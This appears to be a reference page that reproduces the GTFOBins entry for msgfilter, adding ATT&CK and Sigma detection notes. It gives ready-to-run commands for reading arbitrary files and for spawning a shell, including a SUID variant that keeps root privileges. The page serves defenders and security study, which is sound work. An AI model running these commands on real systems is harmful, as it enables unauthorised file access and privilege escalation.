Identifier / Programs / Linux and Unix
msgfilter
GTFOBins file-read, shell 1 ATT&CK technique 2 documented commands
How msgfilter is abused
file-read
-P-iEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for msgfilter.
2 documented commands
file-read unprivileged, with sudo, as SUID
The file is parsed and displayed as a Java .properties file. /bin/cat can be replaced with any other *filter* program.
msgfilter -P -i /path/to/input-file /bin/catIdentifyshell unprivileged, with sudo, as SUID
The kill command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the -i option.
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'IdentifyAs SUID:
echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for msgfilter. The identifier reads the line of each that runs msgfilter.